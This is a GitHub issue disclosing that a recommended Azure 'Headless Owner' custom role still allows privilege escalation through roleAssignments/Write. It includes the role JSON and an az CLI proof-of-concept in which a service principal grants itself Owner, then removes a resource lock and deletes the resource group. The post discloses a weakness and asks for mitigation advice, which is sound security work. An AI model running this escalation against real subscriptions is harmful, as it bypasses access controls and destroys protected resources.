Skip to content

Headless Owner service principal can escalate his privileges #47

@oliviergaumond

Description

@oliviergaumond

This is a great project and documentation. In the accompanying article the recommendation is to create a headless owner role for the service principal.

{
  "Name": "Headless Owner",    
  "Description": "Can manage infrastructure.",
  "actions": [
    "*"
  ],
  "notActions": [
    "Microsoft.Authorization/*/Delete"
  ],
  "AssignableScopes": [
    "/subscriptions/{subscriptionId1}",
    "/subscriptions/{subscriptionId2}",
    "/providers/Microsoft.Management/managementGroups/{groupId1}"
  ]
}

However, even with these reduced permissions, as long as the Microsoft.Authorization/roleAssignments/Write permission is provided, the principal can elevate his own permissions and assign himself the Owner role and then proceed and remove any locks on resources.

Microsoft.Authorization/roleAssignments/Write is required if we want to be able to assign permissions to managed identities. Is there a way to achieve that, while avoiding providing owner access to the pipeline service account?

Could an Azure Policy help here to prevent what kind of access our custom role or service principal can assign? Or limit permission assignment only to managed identity principals?

Proof of concept script for escalation is below

# Create custom role
az role definition create --role-definition headless-owner.json

# create a resource group
az group create -n test-rg --location canadaeast

# create a lock
az lock create --name cant-delete --resource-group test-rg --lock-type CanNotDelete

# Create service principal with custom role
SPPWD=$(az ad sp create-for-rbac --name sp-pipeline --role "Headless Owner" --query password -o tsv)
SPUSER=$(az ad sp list --display-name sp-pipeline --query [].appId -o tsv)
SPID=$(az ad sp list --display-name sp-pipeline --query [].objectId -o tsv)

# Login using service principal
az login --service-principal -u $SPUSER -p $SPPWD --tenant <tenand-id>

# try to delete resource with a lock
az group delete -n test-rg --yes
# OK it fails

# try to remove the lock
az lock delete --name cant-delete --resource-group test-rg
# OK it fails

# Elevate our permissions to owner
az role assignment create --assignee-object-id $SPID --assignee-principal-type ServicePrincipal --role 'Owner' --scope "/subscriptions/<subscription id>"

# try to remove the lock again
az lock delete --name cant-delete --resource-group test-rg
az group delete -n test-rg --yes
# NOT OK was able to remove lock and delete resource group


# cleanup
az login #login with our regular user
az ad sp delete --id $SPID
az role definition delete --name "Headless Owner"

Metadata

Metadata

Assignees

No one assigned

    Labels

    conceptRefers to the textual concept, some of which is in Azure DocsdocumentationImprovements or additions to documentation

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions